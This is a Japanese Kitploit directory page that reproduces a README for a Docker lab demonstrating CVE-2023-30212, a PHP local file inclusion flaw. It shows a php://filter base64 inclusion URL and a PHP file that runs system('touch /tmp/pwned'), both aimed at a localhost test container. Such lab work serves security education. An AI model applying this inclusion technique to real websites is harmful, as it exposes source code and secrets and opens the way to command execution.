Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2023-30212 — Dockerを使用したCVE-2023-30212のPoC | Kitploit
ツール/GitHubGitHub/sungmin20/cve-2023-30212
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubsungmin20/cve-2023-30212

cve-2023-30212

Dockerを使用したCVE-2023-30212のPoC

リポジトリを見る
1年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

cve-2023-30212

Dockerを使用したCVE-2023-30212のPoC

CVE-2023-30212 環境構築およびPoCレポート

📌 概要

このレポートは、Vulhubに存在しないCVE-2023-30212の脆弱性を対象に、Dockerベースの脆弱なWeb環境を直接構築し、PoCを通じて当該脆弱性を実証した内容をまとめたものです。

  • CVE番号: CVE-2023-30212
  • 脆弱性の説明: PHP LFI(Local File Inclusion)によるリモートコード実行の可能性
  • 難易度: 上級(Vulhubに存在しない環境を構成)

🔧 環境構成

1. Dockerfileおよびdocker-composeの構成

  • ベースイメージ: php:8.1-apache
  • /var/www/htmlディレクトリにvulnerable.phpとmalicious.phpをコピー
  • 8088ポートで外部アクセス可能 Dockerビルド

2. 主要ファイルの説明

ファイル名説明
vulnerable.phpLFI脆弱性が存在するPHPファイル
malicious.phpシステムコマンドを実行する悪意のあるPHPファイル
docker-compose.yml
画像 画像 画像 画像

🚀 脆弱性実行フロー(PoC)

1. コンテナの実行

root@kitploit:~
docker-compose up -d

コンテナ名: cve-2023-30212-cve-lfi-1

Apacheサーバーが起動し、http://localhost:8088でアクセス可能

  1. LFIベースの悪性ファイルソースの確認 以下のURLを呼び出して、malicious.phpの内容をbase64エンコードされた形式で確認します:
root@kitploit:~
http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php
base64

出力結果をデコードすると、以下のPHPコードが確認されます:

root@kitploit:~
<?php system("touch /tmp/pwned"); ?>
画像
  1. コマンドの実行と結果確認 以下のURLを呼び出して、実際にコマンドを実行します:
root@kitploit:~
http://localhost:8088/malicious.php

コマンド実行後、/tmp/pwnedファイルが作成されている必要があります。

root@kitploit:~
docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp

結果にpwnedファイルが存在すれば成功です。

pwnedファイル

結果の概要

  • php://filterベースのLFI脆弱性を介して、悪性ファイルの内容確認およびデコードに成功
  • system()関数を含む悪性PHPの呼び出しにより、任意のコマンド実行に成功
  • /tmp/pwnedファイルが作成され、PoC検証が完了
ツールをダウンロード
コンテナ構成のための設定ファイル
DockerfileDockerイメージ生成のための設定ファイル